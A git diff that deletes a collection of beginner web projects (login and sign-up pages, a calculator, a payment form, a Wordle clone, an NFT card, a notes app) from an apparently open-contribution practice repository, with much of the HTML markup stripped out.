- - - \ No newline at end of file diff --git a/Add Code Here/Websites/HTML/Final Mini Project/back.jpg b/Add Code Here/Websites/HTML/Final Mini Project/back.jpg deleted file mode 100644 index 1b14dfdc1b6..00000000000 Binary files a/Add Code Here/Websites/HTML/Final Mini Project/back.jpg and /dev/null differ diff --git a/Add Code Here/Websites/HTML/Final Mini Project/banana.jpg b/Add Code Here/Websites/HTML/Final Mini Project/banana.jpg deleted file mode 100644 index 9bc39b5871a..00000000000 Binary files a/Add Code Here/Websites/HTML/Final Mini Project/banana.jpg and /dev/null differ diff --git a/Add Code Here/Websites/HTML/Final Mini Project/help.jpg b/Add Code Here/Websites/HTML/Final Mini Project/help.jpg deleted file mode 100644 index 658b4c96f6c..00000000000 Binary files a/Add Code Here/Websites/HTML/Final Mini Project/help.jpg and /dev/null differ diff --git a/Add Code Here/Websites/HTML/Final Mini Project/image.jpg b/Add Code Here/Websites/HTML/Final Mini Project/image.jpg deleted file mode 100644 index 5df420dab59..00000000000 Binary files a/Add Code Here/Websites/HTML/Final Mini Project/image.jpg and /dev/null differ diff --git a/Add Code Here/Websites/HTML/Final Mini Project/image1.jfif b/Add Code Here/Websites/HTML/Final Mini Project/image1.jfif deleted file mode 100644 index cc54e06e499..00000000000 Binary files a/Add Code Here/Websites/HTML/Final Mini Project/image1.jfif and /dev/null differ diff --git a/Add Code Here/Websites/HTML/Final Mini Project/image2.jpg b/Add Code Here/Websites/HTML/Final Mini Project/image2.jpg deleted file mode 100644 index 6e2b69f076e..00000000000 Binary files a/Add Code Here/Websites/HTML/Final Mini Project/image2.jpg and /dev/null differ diff --git a/Add Code Here/Websites/HTML/Final Mini Project/land.jpg b/Add Code Here/Websites/HTML/Final Mini Project/land.jpg deleted file mode 100644 index 74a91b631d6..00000000000 Binary files a/Add Code Here/Websites/HTML/Final Mini Project/land.jpg and /dev/null differ diff --git a/Add Code Here/Websites/HTML/Final Mini Project/login.css b/Add Code Here/Websites/HTML/Final Mini Project/login.css deleted file mode 100644 index 37d7c45b7fd..00000000000 --- a/Add Code Here/Websites/HTML/Final Mini Project/login.css +++ /dev/null @@ -1,184 +0,0 @@ -* { - margin: 0px; - padding: 0px; -} - -/* Navbar */ - -#navbar { - display: flex; - position: sticky; - padding: 30px 20px; - justify-content: space-between; - align-items: center; - font-family: 'Source Sans Pro', sans-serif; - background-color: black; -} - -#navbar p { - font-size: 2rem; -} - -#navbar p a { - text-decoration: none; - color: white; -} - -#navbar ul { - display: flex; -} - -#navbar ul li { - display: flex; - list-style: none; - margin: 10px; -} - -#navbar ul li a { - color: white; - text-decoration: none; -} - -#navbar ul li a:hover { - color: #8DC424; -} - -/* login body */ - -.body { - height: 571px; - color: white; - padding: 60.3px; - background-color: black; -} - -.body-main { - display: inline-block; - margin-right: 30px; - - align-items: center; - height: auto; - padding: 32px; - background-color: #111111; -} - -.body-main-container img { - height: 40px; - width: 40px; - margin-bottom: 16px; - filter: invert(1); -} - -.body-main-container h1 { - color: #8DC424; - font-family: 'Playfair Display SC', serif; - margin-bottom: 16px; -} - -.body-main-container p { - margin-bottom: 16px; -} - -/* Form Box */ - -.body-main-form { - display: flex; -} - -.body-main-items { - padding: 16px 12px; - text-align: center; - width: 500px; - border-radius: 5px; - margin-bottom: 12px; - font-size: 16px; -} - -#button { - padding: 5px; - margin-top: 10px; - border-radius: 5px; - background-color: #5c8018; - color: white; - font-size: 18px; - width: 110px; - height: 45px; -} - -#button:hover { - background-color: #8DC424; -} - - -/* footer */ - -footer { - background-color: white; -} - -.container { - margin: 0px 265.8px; - padding: 24px 15px; -} - -#container-navbar { - display: flex; - flex-wrap: wrap; - justify-content: space-between; - align-items: center; - font-family: 'Source Sans Pro', sans-serif; -} - -#container-navbar p { - font-size: 20px; -} - -#container-navbar ul { - display: flex; -} - -#container-navbar ul li { - display: flex; - list-style: none; - color: #000000BF; - margin-right: 10px; -} - -#container-navbar ul li a { - color: #000000BF; - text-decoration: none; -} - -.hr { - margin: 16px 0px; -} - -.container-grid { - display: grid; - grid-template-columns: 1fr 1fr; -} - -.container-grid h4 { - font-size: 20px; - margin-bottom: 10px; - font-family: 'Playfair Display SC', serif; -} - -.container-grid p { - color: #000000BF; -} - -#footer-website { - font-family: 'Playfair Display SC', serif; - font-weight: bold; -} - -#extra { - margin-bottom: 16px; -} - -/* Utility Classes */ - -.font { - font-family: 'Source Sans Pro', sans-serif; -} \ No newline at end of file diff --git a/Add Code Here/Websites/HTML/Final Mini Project/login.html b/Add Code Here/Websites/HTML/Final Mini Project/login.html deleted file mode 100644 index 65043f4eba3..00000000000 --- a/Add Code Here/Websites/HTML/Final Mini Project/login.html +++ /dev/null @@ -1,89 +0,0 @@ - - - - - - - - Farmer Wagon | Login Page - - - - - - - -
- -
-
-
- mail-image -

Login

-

Login To Your Profile

-
-
-
-
- -
-
- -
-
- -
-
- -
-
- -
-
-
-
-
-
-
-
- - -
-
-
-
-
-
-

Address

-

46 Kapol Niwas, New Putlibai Sv Road

-

Vile Parle West, Mumbai, India

-
-
-

About Us

-

*Need to change* Achieve the best results with our help. Helping - farmers get benefits of - their hard work. Worldwide reach and on-site quality-check.

-
-
-
-
- - - \ No newline at end of file diff --git a/Add Code Here/Websites/HTML/Final Mini Project/login.png b/Add Code Here/Websites/HTML/Final Mini Project/login.png deleted file mode 100644 index 72890c72cbf..00000000000 Binary files a/Add Code Here/Websites/HTML/Final Mini Project/login.png and /dev/null differ diff --git a/Add Code Here/Websites/HTML/Final Mini Project/mail.png b/Add Code Here/Websites/HTML/Final Mini Project/mail.png deleted file mode 100644 index 1ac7d9194ad..00000000000 Binary files a/Add Code Here/Websites/HTML/Final Mini Project/mail.png and /dev/null differ diff --git a/Add Code Here/Websites/HTML/Final Mini Project/mango.jpg b/Add Code Here/Websites/HTML/Final Mini Project/mango.jpg deleted file mode 100644 index a043e37e5c9..00000000000 Binary files a/Add Code Here/Websites/HTML/Final Mini Project/mango.jpg and /dev/null differ diff --git a/Add Code Here/Websites/HTML/Final Mini Project/pineapple.jpg b/Add Code Here/Websites/HTML/Final Mini Project/pineapple.jpg deleted file mode 100644 index e104b84e925..00000000000 Binary files a/Add Code Here/Websites/HTML/Final Mini Project/pineapple.jpg and /dev/null differ diff --git a/Add Code Here/Websites/HTML/Final Mini Project/signup.css b/Add Code Here/Websites/HTML/Final Mini Project/signup.css deleted file mode 100644 index 37d7c45b7fd..00000000000 --- a/Add Code Here/Websites/HTML/Final Mini Project/signup.css +++ /dev/null @@ -1,184 +0,0 @@ -* { - margin: 0px; - padding: 0px; -} - -/* Navbar */ - -#navbar { - display: flex; - position: sticky; - padding: 30px 20px; - justify-content: space-between; - align-items: center; - font-family: 'Source Sans Pro', sans-serif; - background-color: black; -} - -#navbar p { - font-size: 2rem; -} - -#navbar p a { - text-decoration: none; - color: white; -} - -#navbar ul { - display: flex; -} - -#navbar ul li { - display: flex; - list-style: none; - margin: 10px; -} - -#navbar ul li a { - color: white; - text-decoration: none; -} - -#navbar ul li a:hover { - color: #8DC424; -} - -/* login body */ - -.body { - height: 571px; - color: white; - padding: 60.3px; - background-color: black; -} - -.body-main { - display: inline-block; - margin-right: 30px; - - align-items: center; - height: auto; - padding: 32px; - background-color: #111111; -} - -.body-main-container img { - height: 40px; - width: 40px; - margin-bottom: 16px; - filter: invert(1); -} - -.body-main-container h1 { - color: #8DC424; - font-family: 'Playfair Display SC', serif; - margin-bottom: 16px; -} - -.body-main-container p { - margin-bottom: 16px; -} - -/* Form Box */ - -.body-main-form { - display: flex; -} - -.body-main-items { - padding: 16px 12px; - text-align: center; - width: 500px; - border-radius: 5px; - margin-bottom: 12px; - font-size: 16px; -} - -#button { - padding: 5px; - margin-top: 10px; - border-radius: 5px; - background-color: #5c8018; - color: white; - font-size: 18px; - width: 110px; - height: 45px; -} - -#button:hover { - background-color: #8DC424; -} - - -/* footer */ - -footer { - background-color: white; -} - -.container { - margin: 0px 265.8px; - padding: 24px 15px; -} - -#container-navbar { - display: flex; - flex-wrap: wrap; - justify-content: space-between; - align-items: center; - font-family: 'Source Sans Pro', sans-serif; -} - -#container-navbar p { - font-size: 20px; -} - -#container-navbar ul { - display: flex; -} - -#container-navbar ul li { - display: flex; - list-style: none; - color: #000000BF; - margin-right: 10px; -} - -#container-navbar ul li a { - color: #000000BF; - text-decoration: none; -} - -.hr { - margin: 16px 0px; -} - -.container-grid { - display: grid; - grid-template-columns: 1fr 1fr; -} - -.container-grid h4 { - font-size: 20px; - margin-bottom: 10px; - font-family: 'Playfair Display SC', serif; -} - -.container-grid p { - color: #000000BF; -} - -#footer-website { - font-family: 'Playfair Display SC', serif; - font-weight: bold; -} - -#extra { - margin-bottom: 16px; -} - -/* Utility Classes */ - -.font { - font-family: 'Source Sans Pro', sans-serif; -} \ No newline at end of file diff --git a/Add Code Here/Websites/HTML/Final Mini Project/signup.html b/Add Code Here/Websites/HTML/Final Mini Project/signup.html deleted file mode 100644 index 3493499f18a..00000000000 --- a/Add Code Here/Websites/HTML/Final Mini Project/signup.html +++ /dev/null @@ -1,92 +0,0 @@ - - - - - - - - Farmer Wagon | Sign-Up - - - - - - - -
- -
-
-
- mail-image -

Sign-Up

-

Create A New Profile

-
-
-
-
- -
-
- -
-
- -
-
- -
-
- -
-
- -
-
-
-
-
-
-
-
- - -
-
-
-
-
-
-

Address

-

46 Kapol Niwas, New Putlibai Sv Road

-

Vile Parle West, Mumbai, India

-
-
-

About Us

-

*Need to change* Achieve the best results with our help. Helping - farmers get benefits of - their hard work. Worldwide reach and on-site quality-check.

-
-
-
-
- - - \ No newline at end of file diff --git a/Add Code Here/Websites/HTML/Final Mini Project/trust.jpg b/Add Code Here/Websites/HTML/Final Mini Project/trust.jpg deleted file mode 100644 index 012d90e1203..00000000000 Binary files a/Add Code Here/Websites/HTML/Final Mini Project/trust.jpg and /dev/null differ diff --git a/Add Code Here/Websites/HTML/Final Mini Project/wheat.jpg b/Add Code Here/Websites/HTML/Final Mini Project/wheat.jpg deleted file mode 100644 index 978ac89d112..00000000000 Binary files a/Add Code Here/Websites/HTML/Final Mini Project/wheat.jpg and /dev/null differ diff --git a/Add Code Here/Websites/HTML/H1H6 b/Add Code Here/Websites/HTML/H1H6 deleted file mode 100644 index 577c87ca0df..00000000000 --- a/Add Code Here/Websites/HTML/H1H6 +++ /dev/null @@ -1,16 +0,0 @@ - - - - - - Learn Heading Tag in HTML - - -

THIS IS EXAMPLE OF H1

-

THIS IS EXAMPLE OF H2

-

THIS IS EXAMPLE OF H3

-

THIS IS EXAMPLE OF H4

-
THIS IS EXAMPLE OF H5
-
THIS IS EXAMPLE OF H6
- - diff --git a/Add Code Here/Websites/HTML/MatrikRain.html b/Add Code Here/Websites/HTML/MatrikRain.html deleted file mode 100644 index 049f1f597ce..00000000000 --- a/Add Code Here/Websites/HTML/MatrikRain.html +++ /dev/null @@ -1,220 +0,0 @@ - - - - - - - - Matrik Rain - - - - - - - - - - - \ No newline at end of file diff --git a/Add Code Here/Websites/HTML/Nav/index.html b/Add Code Here/Websites/HTML/Nav/index.html deleted file mode 100644 index 7cb9ad6e638..00000000000 --- a/Add Code Here/Websites/HTML/Nav/index.html +++ /dev/null @@ -1,38 +0,0 @@ - - - - - - - Document - - - -

FRONTEND TRENDS

-

BENEFITS of TECHNOLOGIES

- -
-
-
-

SVELTE

-

another frontend JS framework

-
-
-

ESBUILD

-

an extremely fast JavaScript bundler

-
-
-

NEXT.JS

-

framework for Production

-
-
-

TYPESCRIPT

-

giving you better tooling at any scale

-
-
-

VITE

-

a frontend build tool

-
-
- - \ No newline at end of file diff --git a/Add Code Here/Websites/HTML/box_shadow_and_text_shadow.html b/Add Code Here/Websites/HTML/box_shadow_and_text_shadow.html deleted file mode 100644 index ddff4c726b2..00000000000 --- a/Add Code Here/Websites/HTML/box_shadow_and_text_shadow.html +++ /dev/null @@ -1,45 +0,0 @@ - - - - - - Box shadow and text shadow - - - -
-
-

This is c++ course

-

Lorem ipsum dolor, sit amet consectetur adipisicing elit. Atque repellendus magni laborum odit unde voluptates obcaecati voluptate, quaerat eos iusto quidem doloremque, quasi a deserunt, fugit molestias suscipit minima commodi.

-
-
-

This is Html course

-

Lorem ipsum dolor sit amet, consectetur, adipisicing elit. Officiis molestiae illum inventore ipsa, dicta culpa quibusdam distinctio quae, nisi in, vero nostrum dolorem voluptatum quis voluptatibus nesciunt quisquam at commodi.

-
-
-

Card3

-

Lorem ipsum dolor sit amet consectetur adipisicing elit. Nam debitis, eveniet commodi quisquam, assumenda accusantium minima cupiditate, expedita ratione ab sint laborum hic pariatur quam id aperiam? Fuga, aut corporis.

-
-
- - - - -//contributed by Shahnawaz khan diff --git a/Add Code Here/Websites/HTML/digital calculator website b/Add Code Here/Websites/HTML/digital calculator website deleted file mode 100644 index 55e693dd34f..00000000000 --- a/Add Code Here/Websites/HTML/digital calculator website +++ /dev/null @@ -1,128 +0,0 @@ - - - - - - Calculator using HTML Example - - - - - - -
- calculator made by sahil sharma -
-
- - - - - - - - -
- -
-
- - - - -
- - - - -
- - - - -
- - - - -
-
-
- - diff --git a/Add Code Here/Websites/HTML/helloworld.html b/Add Code Here/Websites/HTML/helloworld.html deleted file mode 100644 index 4d173f532d5..00000000000 --- a/Add Code Here/Websites/HTML/helloworld.html +++ /dev/null @@ -1,12 +0,0 @@ - - - - - - - Document - - -

HELLO WORLD

- - \ No newline at end of file diff --git a/Add Code Here/Websites/HTML/navbar b/Add Code Here/Websites/HTML/navbar deleted file mode 100644 index 9c0f91c6581..00000000000 --- a/Add Code Here/Websites/HTML/navbar +++ /dev/null @@ -1,66 +0,0 @@ - - - - - - - Navbar - - - - - - diff --git a/Add Code Here/Websites/HTML/nft-preview-card/images/favicon-32x32.png b/Add Code Here/Websites/HTML/nft-preview-card/images/favicon-32x32.png deleted file mode 100644 index 1e2df7f089f..00000000000 Binary files a/Add Code Here/Websites/HTML/nft-preview-card/images/favicon-32x32.png and /dev/null differ diff --git a/Add Code Here/Websites/HTML/nft-preview-card/images/icon-clock.svg b/Add Code Here/Websites/HTML/nft-preview-card/images/icon-clock.svg deleted file mode 100644 index fa4e2c03981..00000000000 --- a/Add Code Here/Websites/HTML/nft-preview-card/images/icon-clock.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/Add Code Here/Websites/HTML/nft-preview-card/images/icon-ethereum.svg b/Add Code Here/Websites/HTML/nft-preview-card/images/icon-ethereum.svg deleted file mode 100644 index a4348dd8188..00000000000 --- a/Add Code Here/Websites/HTML/nft-preview-card/images/icon-ethereum.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/Add Code Here/Websites/HTML/nft-preview-card/images/icon-view.svg b/Add Code Here/Websites/HTML/nft-preview-card/images/icon-view.svg deleted file mode 100644 index ad1bd95dfe2..00000000000 --- a/Add Code Here/Websites/HTML/nft-preview-card/images/icon-view.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/Add Code Here/Websites/HTML/nft-preview-card/images/image-avatar.png b/Add Code Here/Websites/HTML/nft-preview-card/images/image-avatar.png deleted file mode 100644 index b1675150910..00000000000 Binary files a/Add Code Here/Websites/HTML/nft-preview-card/images/image-avatar.png and /dev/null differ diff --git a/Add Code Here/Websites/HTML/nft-preview-card/images/image-equilibrium.jpg b/Add Code Here/Websites/HTML/nft-preview-card/images/image-equilibrium.jpg deleted file mode 100644 index b75fd340950..00000000000 Binary files a/Add Code Here/Websites/HTML/nft-preview-card/images/image-equilibrium.jpg and /dev/null differ diff --git a/Add Code Here/Websites/HTML/nft-preview-card/index.html b/Add Code Here/Websites/HTML/nft-preview-card/index.html deleted file mode 100644 index 6a10e83d3b3..00000000000 --- a/Add Code Here/Websites/HTML/nft-preview-card/index.html +++ /dev/null @@ -1,49 +0,0 @@ - - - - - - - - - - - - - - - - - Frontend Mentor | NFT preview card component - - - - - -
-
- NFT-image - -
- - - -
-
Equilibrium #3429
-

Our Equilibrium collection promotes balance and calm.

-

ethereum-image 0.041 ETH clock-image 3 days left

-
-

avatar-image Creation of Jules Wyvern

- -
-
- - -
- - Challenge by Frontend Mentor. - Coded by Kushagra Rastogi. -
- - - \ No newline at end of file diff --git a/Add Code Here/Websites/HTML/nft-preview-card/styles.css b/Add Code Here/Websites/HTML/nft-preview-card/styles.css deleted file mode 100644 index a3d61a62412..00000000000 --- a/Add Code Here/Websites/HTML/nft-preview-card/styles.css +++ /dev/null @@ -1,106 +0,0 @@ -body { - background-color: hsl(217, 54%, 11%); - font-family: 'Outfit' sans-serif; - text-align: center; -} -p{ - color: hsl(215, 51%, 70%); - font-size: 13px; - -} -hr{ - color: hsl(215, 51%, 70%); -} - -.card { - box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19); - margin: 150px auto; - width: 50%; - border: 3px ; - padding: 15px; - border-radius: 15px; - background-color: hsl(216, 50%, 16%); -} -.img-container{ - position: relative; -} -.img-container:hover::before{ - content: ''; - position: absolute; - right: 0px; - left: 0px; - top: 0px; - bottom: 0px; - background: url(images/icon-view.svg)#00fff77e center no-repeat; - border-radius: 8px; - padding: 0px; - transition: 0.4s; - cursor: pointer; -} -.card-img-top{ - border-radius: 8px; - padding: 5px; - -} - -.card-title{ - text-align: left; - color: hsl(0, 0%, 100%); - margin-right: 10px; - padding-bottom: 20px; -} -.card-title:hover{ - color: hsl(178, 100%, 50%); - cursor: pointer; - transition: 0.4s; -} -.card-text{ - text-align: left; -} -.left-text{ - text-align: left; -} -.right-text{ - text-align: right; - padding-left: 4.2rem; -} -.eth{ - color: hsl(178, 100%, 50%); -} -.avatar{ - width: 30px; - height: auto; - margin-right: 10px; - border: 2px solid hsl(0, 0%, 100%); - border-radius: 100%; - -} -.avatar-description{ - margin-right: 40px; -} -.name{ - color: hsl(0, 0%, 100%); -} -.name:hover{ - color: hsl(178, 100%, 50%) ; - cursor: pointer; - transition: 0.4s; - -} -.attribution { - font-size: 11px; - text-align: center; - width: auto; - color: hsl(0, 0%, 100%); -} - - -.attribution a { - color: hsl(228, 45%, 44%); -} -/* For mobile phones */ -@media screen and (max-width: 375px) { - body { - width: 100%; - } - } \ No newline at end of file diff --git a/Add Code Here/Websites/HTML/paymentformbyvikas.html b/Add Code Here/Websites/HTML/paymentformbyvikas.html deleted file mode 100644 index 4be3b446c89..00000000000 --- a/Add Code Here/Websites/HTML/paymentformbyvikas.html +++ /dev/null @@ -1,134 +0,0 @@ - - - - - - - - - - - - - - - - - - -
-
-

Payment Form -

-
-
-

-
-
- - -

- User Details : -


(Note - Required Fields are followed by * )
-
-

-
- -
- -

- -
- -
- - -
- -
-

Payment Details :

- -
- - -
-

- - - - - - - -
- - - diff --git a/Add Code Here/Websites/HTML/simple-app.html b/Add Code Here/Websites/HTML/simple-app.html deleted file mode 100644 index 31e3cd98d3b..00000000000 --- a/Add Code Here/Websites/HTML/simple-app.html +++ /dev/null @@ -1,253 +0,0 @@ - - - - News Aggregate Template - - - - - - - -
- - -
- - - - - - -
- - - - - - - - - - -
-

Latest News

-
-
    -
  • -
  • -
  • -
  • -
  • -
  • -
-
-
- - - - - - - -
-

flickr popular images

-
-
    -
  • -
  • -
  • -
  • -
  • -
  • -
  • -
  • -
  • -
  • -
  • -
  • -
- Photos brought to you by -
-
- - - -
-

css galleries

-
- - - - - -
-
- - - - - - -
- - -
- - -
- - - - - - - - diff --git a/Add Code Here/Websites/HTML/wordle.html b/Add Code Here/Websites/HTML/wordle.html deleted file mode 100644 index 5f9b2a57450..00000000000 --- a/Add Code Here/Websites/HTML/wordle.html +++ /dev/null @@ -1,1544 +0,0 @@ - - - - - - Unlimited Wordle - A word game - - - - -
-
- -
-
- W-o-r-d-l-e - The Unlimited -
-
- - -
-
-
- -
-
-
- - Answer - -
-
- -
-
- - HOW TO PLAY -
- Hey, You have to guess the provided WORDLE in 6(six) attempts. -
- Each guess must be a valid 5 letter word. Hit the Enter or click Enter button to submit an attempt. -
- After each guess, the color of the tiles will change to show how close your guess was to the word. -
-
-
- Some Examples -
-
W
-
E
-
A
-
R
-
Y
-
- The letter W is in the word and in the correct spot. -
-
P
-
I
-
L
-
L
-
S
-
- The letter I is in the word but in the wrong spot. -
-
V
-
A
-
G
-
U
-
E
-
- The letter U is not in the word in any spot. -
-
- -
- SETTINGS -
-
-
- - - - \ No newline at end of file diff --git a/Add Code Here/Websites/Hacktoberfest2022-1.iml b/Add Code Here/Websites/Hacktoberfest2022-1.iml deleted file mode 100644 index dfff601ea89..00000000000 --- a/Add Code Here/Websites/Hacktoberfest2022-1.iml +++ /dev/null @@ -1,12 +0,0 @@ - - - - - - - - - - - - \ No newline at end of file diff --git a/Add Code Here/Websites/Image Changing By API/favicon.png b/Add Code Here/Websites/Image Changing By API/favicon.png deleted file mode 100644 index 027bd679b0d..00000000000 Binary files a/Add Code Here/Websites/Image Changing By API/favicon.png and /dev/null differ diff --git a/Add Code Here/Websites/Image Changing By API/img.jpg b/Add Code Here/Websites/Image Changing By API/img.jpg deleted file mode 100644 index 397f13ab101..00000000000 Binary files a/Add Code Here/Websites/Image Changing By API/img.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Image Changing By API/index.html b/Add Code Here/Websites/Image Changing By API/index.html deleted file mode 100644 index 07d4225b914..00000000000 --- a/Add Code Here/Websites/Image Changing By API/index.html +++ /dev/null @@ -1,44 +0,0 @@ - - - - - - Img Changer - - - - - -
-

WHAT DOES YOUR NAME SAY ABOUT YOUR PERSONALITY

-
-
-
- -
- -
- -
- - -
- -
- - - - - - - \ No newline at end of file diff --git a/Add Code Here/Websites/Image Changing By API/style.css b/Add Code Here/Websites/Image Changing By API/style.css deleted file mode 100644 index b9cffbdc4fc..00000000000 --- a/Add Code Here/Websites/Image Changing By API/style.css +++ /dev/null @@ -1,72 +0,0 @@ -*{padding: 0; margin: 0; box-sizing: border-box; font-family: 'Luckiest Guy', cursive;} - -section{ - width: 100%; - height: 100vh; - display: flex; - justify-content: center; - flex-direction: column; - align-items: center; - background: peachpuff; -} - -section h1{ - text-shadow: 2px 2px 5px #2f3542; - word-spacing: 2px; - margin-bottom: 80px; - font-size:2.5rem; - text-transform: uppercase; - letter-spacing: 2px; color: black;} - .centerDiv{ width: 60%; height: 450px; box-shadow:2px 2px 2px 5px white; - display: flex; - flex-direction: column; - align-items: center; - justify-content: center; - background: saddlebrown; - color: black; -} - -.details{ - text-align: center; - text-transform: uppercase; -} - -.details label{ - font-size: 1.6rem; - font-weight: bold; -} - -.details input { - padding: 10px; - background-color: peachpuff; - color: black; - font-weight: 1000; - font-size: 1.2rem; - text-align: center; - } - -.details input[type=text]:focus { - border: 3px solid #555; -} - -.imgdiv { - margin: 30px 0; - border: solid peachpuff; -} - -button { - background: peachpuff; - width: 180px; - padding: 4px 0; - border-radius: 3px; - color:black; - font-size: 1.2rem; - letter-spacing: 2px; - } - -button:hover { - cursor: pointer; - color: black; - background: lightpink; - transition: 0.3s; -} \ No newline at end of file diff --git a/Add Code Here/Websites/LoginDesign/Login.html b/Add Code Here/Websites/LoginDesign/Login.html deleted file mode 100644 index 888441a34c4..00000000000 --- a/Add Code Here/Websites/LoginDesign/Login.html +++ /dev/null @@ -1,58 +0,0 @@ - - - - - - - - - Login with HTML, CSS and JavaScript - - - - - - - - - - -
-
-
-

LOGIN

-
-
-
- - - -
-
-
-
- - -
-
-

SIGN-UP

-
-
-
- - - - -
-
-
-
-
- - diff --git a/Add Code Here/Websites/LoginDesign/README.md b/Add Code Here/Websites/LoginDesign/README.md deleted file mode 100644 index 459837b1d6c..00000000000 --- a/Add Code Here/Websites/LoginDesign/README.md +++ /dev/null @@ -1,37 +0,0 @@ -

- Project logo -

- -

Easy-Login-Design-V1

- -
- -[![Status.](https://img.shields.io/badge/status-active-success.svg)]() -[![GitHub Issues.](https://img.shields.io/github/issues/Mittelblut9/Easy-Login-Design-V1.svg)](https://github.com/Mittelblut9/Easy-Login-Design-V1/issues) -[![GitHub Pull Requests.](https://img.shields.io/github/issues-pr/Mittelblut9/Easy-Login-Design-V1.svg)](https://github.com/Mittelblut9/Easy-Login-Design-V1/pulls) - -
- ---- - -

An easy Login made with HTML5, CSS3 and JavaScript (JQuery) -
-

- -## 📝 Table of Contents - -- [Preview](#preview) -- [Built Using](#built_using) - -## 🧐 Preview -
- -Bild-2021-05-04-105205 -Bild-2021-05-04-105320 -
- -
- -## ⛏️ Built Using - -- [JQuery](https://jquery.com) - Library diff --git a/Add Code Here/Websites/LoginDesign/src/css/style.css b/Add Code Here/Websites/LoginDesign/src/css/style.css deleted file mode 100644 index d29a689d89e..00000000000 --- a/Add Code Here/Websites/LoginDesign/src/css/style.css +++ /dev/null @@ -1,159 +0,0 @@ -@import url("https://use.typekit.net/xue1nky.css"); - -* { - outline: none; - text-decoration: none; - - transition: all .3s ease-in-out; -} - -:root{ - --darkblue: #196FE3; - --blue: #0094FF; - --white: #FFFFFF; -} - -body { - background: #00609F; - font-family: filson-pro, sans-serif; -} - -input { - border: none; - text-align: center; - color: #000000; -} - -input:hover { - transform: translateY(-1px); -} - -input:focus { - transform: translateY(-2px); -} - -input:disabled { - background: var(--white); -} - -input::placeholder { - color: #000000; - background: var(--white); -} - -.wrapper { - top: 50%; - left: 50%; - transform: translate(-50%, -50%); - position: absolute; -} - -.container { - width: 700px; - border-radius: 19px; - height: auto; - background: var(--blue); - text-align: center; - padding: 70px 0px; - box-shadow: 0px 3px 65px #ffffff18; - overflow: hidden; - position: relative; - flex-direction: column; -} - -.container header h1 { - color: var(--white); - font-size: 3rem; - margin: 40px 0; -} - -.form { - display: inline-grid; - justify-content: center; - width: 300px; -} - -.main_input { - margin: 10px 0; - padding: 15px 20px; -} - -.main_input, input[type="submit"] { - border-radius: 40px; - box-shadow: 0px 3px 11px #00000042; -} - -.container input[type="submit"] { - margin: 40px 0; - padding: 10px 20px; - cursor: pointer; -} - -.signup_wrapper { - position: absolute; - width: 100%; - height: 100%; - top: 0; - padding: 40px 0px; - border-radius: 19px; - background: var(--blue); - transform: translateX(-100px); -} - -.off { - transform: translate(-700px); -} -.on { - transform: translate(0); -} - -.switch { - display: block; - position: absolute; - top: 45%; - right: 0; - height: 70px; - width: 60px; - border-radius: 0px 50px 50px 0px; - background: var(--white); - transform: translate(60px, -50%); - cursor: pointer; -} - -.switch:hover { - width: 70px; - transform: translate(70px, -50%); -} - -.on .switch { - border-radius: 50px 0px 0px 50px; - transform: translate(0, -50%); -} - -.on .switch_img { - transform: translate(0px, -50%) !important; -} - -.on .switch_no_account { - opacity: 0; -} - -.signup_wrapper .switch_img { - position: absolute; - right: 0; - top: 45%; - transform: translate(-10px, -50%); - cursor: pointer; -} - -.switch_no_account { - position: absolute; - right: 0; - top: 45%; - transform: translate(-10px, -50%) rotate(-45deg); - width: 50px; - height: 3px; - background: var(--white); - cursor: pointer; - opacity: 1; -} \ No newline at end of file diff --git a/Add Code Here/Websites/LoginDesign/src/js/main.js b/Add Code Here/Websites/LoginDesign/src/js/main.js deleted file mode 100644 index c22fb6b10fd..00000000000 --- a/Add Code Here/Websites/LoginDesign/src/js/main.js +++ /dev/null @@ -1,23 +0,0 @@ -$(document).ready(function () { - $('.switch').click(() => { - if($('.signup_wrapper').hasClass('off')) { - //SIGNUP - $('.signup_wrapper').removeClass('off'); - $('.signup_wrapper').addClass('on'); - $('#signup_form .main_input').prop('disabled', false); - - //LOGIN - $('.login_input').css('pointer-events', 'none'); - $('#login_form .main_input').prop('disabled', true); - }else { - //SIGNUP - $('.signup_wrapper').removeClass('on'); - $('.signup_wrapper').addClass('off'); - $('#signup_form .main_input').prop('disabled', true); - - //LOGIN - $('.login_input').css('pointer-events', ''); - $('#login_form .main_input').prop('disabled', false); - } - }); -}); \ No newline at end of file diff --git a/Add Code Here/Websites/Magic Notes/app.js b/Add Code Here/Websites/Magic Notes/app.js deleted file mode 100644 index 90c18222bce..00000000000 --- a/Add Code Here/Websites/Magic Notes/app.js +++ /dev/null @@ -1,49 +0,0 @@ -// localStorage.clear(); -const addBtn = document.getElementById('addBtn'); -const cardno = document.getElementById('cardno'); -let textarea = document.getElementById('text'); -let counter=0; - -addBtn.addEventListener('click',getdata); - -function getdata(){ - let notevalue = textarea.value; //Getting the data what user entered - let localnotes = localStorage.getItem('notes'); - - if(localnotes == null){ - notesarr = []; - } - else{ - notesarr = JSON.parse(localnotes); - } - notesarr.push(notevalue); - localStorage.setItem("notes",JSON.stringify(notesarr)); - - textarea.value=''; - shownotes(); - } - - function shownotes(){ - let localnotes = localStorage.getItem('notes'); - - if(localnotes == null){ - notesarr = []; - } - else{ - notesarr = JSON.parse(localnotes); - } - cardno.classList.remove('hide'); - let html = ""; - notesarr.forEach(function(element,index){ - html += `
-
-

-

-
-
`; - }); - - let notes = document.getElementById('notes'); - notes.innerHTML = html; - - } \ No newline at end of file diff --git a/Add Code Here/Websites/Magic Notes/index.html b/Add Code Here/Websites/Magic Notes/index.html deleted file mode 100644 index cad81f2d328..00000000000 --- a/Add Code Here/Websites/Magic Notes/index.html +++ /dev/null @@ -1,96 +0,0 @@ - - - - - - - - Notes website - - - - -
-

Notes

- - -
-
-

Your Notes

-
- -
-
-

-

-
-
-
-
- - - - - diff --git a/Add Code Here/Websites/Message App/index.php b/Add Code Here/Websites/Message App/index.php deleted file mode 100644 index 20b16bbd9e5..00000000000 --- a/Add Code Here/Websites/Message App/index.php +++ /dev/null @@ -1,71 +0,0 @@ - - - - - - - - Message App - - - - -

Kon'nichiwa watashi no yūjin

- -

As most of us are anime fans..I think they would recognize this famous line :)

- -

This is basically a open-to-all-linguistic messaging app ...Find interesting !! Start with a chat

- -
- -

Start A New Chat :)

- -

- -

